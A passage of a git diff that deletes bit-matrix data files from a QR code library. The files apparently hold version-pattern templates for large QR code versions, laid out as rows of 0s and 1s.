-00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -11010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00111110000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000100000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -11111110000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -10000010000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -10111010000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr37.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr37.dat deleted file mode 100644 index 8bdf9a6..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr37.dat +++ /dev/null @@ -1,165 +0,0 @@ -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001101111111 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010101000001 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001011101 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001011101 -101110100000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000010101011101 -100000100000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000101000001 -111111101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -000000000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000000000000 -000000100000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -010010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -100100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -110011100000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000001000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -111111100000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -100000100000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -101110100000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr38.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr38.dat deleted file mode 100644 index b156abe..0000000 --- 